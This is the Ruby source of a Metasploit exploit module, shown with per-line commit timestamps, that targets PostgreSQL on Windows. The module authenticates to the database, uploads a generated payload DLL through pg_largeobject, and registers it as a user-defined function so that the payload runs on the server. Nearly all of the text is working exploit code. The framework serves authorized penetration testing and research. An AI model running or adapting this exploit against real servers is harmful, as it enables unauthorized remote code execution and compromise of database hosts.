2011-03-23 19:36:07 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-03-23 19:36:07 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: Postgres
include Msf :: Auxiliary :: Report
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
# Creates an instance of this module.
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'PostgreSQL for Microsoft Windows Payload Execution' ,
'Description' = > %q{
On default Microsoft Windows installations of PostgreSQL the postgres
service account may write to the current directory (which is usually
"C: \ Program Files \ PostgreSQL \ <version> \ data" where <version> is the
major.minor version of PostgreSQL). UDF DLL's may be sourced from
there as well.
This module uploads a Windows DLL file via the pg_largeobject method
of binary injection and creates a UDF (user defined function) from
that DLL. Because the payload is run from DllMain, it does not need to
conform to specific Postgres API versions.
} ,
'Author' = >
[
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' , # the postgresql udf libraries
'todb' # this Metasploit module
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
2020-06-14 16:39:46 +02:00
[ 'URL' , 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ] , # A litte more specific to PostgreSQL
2013-08-30 16:28:54 -05:00
] ,
'Platform' = > 'win' ,
'Targets' = >
[
2016-10-28 07:16:05 +10:00
[ 'Windows x86' , { 'Arch' = > ARCH_X86 } ] ,
[ 'Windows x64' , { 'Arch' = > ARCH_X64 } ] ,
2013-08-30 16:28:54 -05:00
] ,
'DefaultTarget' = > 0 ,
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '2009-04-10' # Date of Bernardo's BH Europe paper.
2013-08-30 16:28:54 -05:00
) )
deregister_options ( 'SQL' , 'RETURN_ROWSET' )
end
def check
version = postgres_fingerprint
if version [ :auth ]
2017-07-19 12:48:52 +01:00
print_good " Authentication successful. Version: #{ version } "
2014-01-20 14:26:10 -06:00
return CheckCode :: Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
2013-08-30 16:28:54 -05:00
else
print_error " Authentication failed. #{ version [ :preauth ] || version [ :unknown ] } "
return CheckCode :: Safe
end
end
def exploit
version = do_login ( username , password , database )
case version
2017-07-21 07:41:51 -07:00
when :noauth ; print_error " Authentication failed " ; return
when :noconn ; print_error " Connection failed " ; return
2013-08-30 16:28:54 -05:00
else
print_status ( " #{ rhost } : #{ rport } - #{ version } " )
end
fname = " #{ Rex :: Text . rand_text_alpha ( 8 ) } .dll "
register_files_for_cleanup ( fname )
unless postgres_upload_binary_data ( generate_payload_dll , fname )
print_error " Could not upload the UDF DLL "
return
end
print_status " Uploaded as #{ fname } "
begin
func_name = Rex :: Text . rand_text_alpha ( 10 )
postgres_query (
" create or replace function pg_temp. #{ func_name } () " +
" returns void as ' #{ fname } ',' #{ func_name } ' " +
" language c strict immutable "
)
rescue RuntimeError = > e
print_error " Failed to create UDF function: #{ e . class } : #{ e } "
end
postgres_logout if @postgres_conn
end
# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login ( user = nil , pass = nil , database = nil )
begin
password = pass || postgres_password
vprint_status ( " Trying #{ user } : #{ password } @ #{ rhost } : #{ rport } / #{ database } " )
result = postgres_fingerprint (
:db = > database ,
:username = > user ,
:password = > password
)
if result [ :auth ]
report_service (
:host = > rhost ,
:port = > rport ,
:name = > " postgres " ,
:info = > result . values . first
)
return result [ :auth ]
else
2017-07-19 11:46:39 +01:00
print_error ( " Login failed, fingerprint is #{ result [ :preauth ] || result [ :unknown ] } " )
2013-08-30 16:28:54 -05:00
return :noauth
end
rescue Rex :: ConnectionError , Rex :: Post :: Meterpreter :: RequestError
return :noconn
end
end
2011-03-23 19:36:07 +00:00
2012-12-22 00:30:09 -06:00
2011-03-23 19:36:07 +00:00
end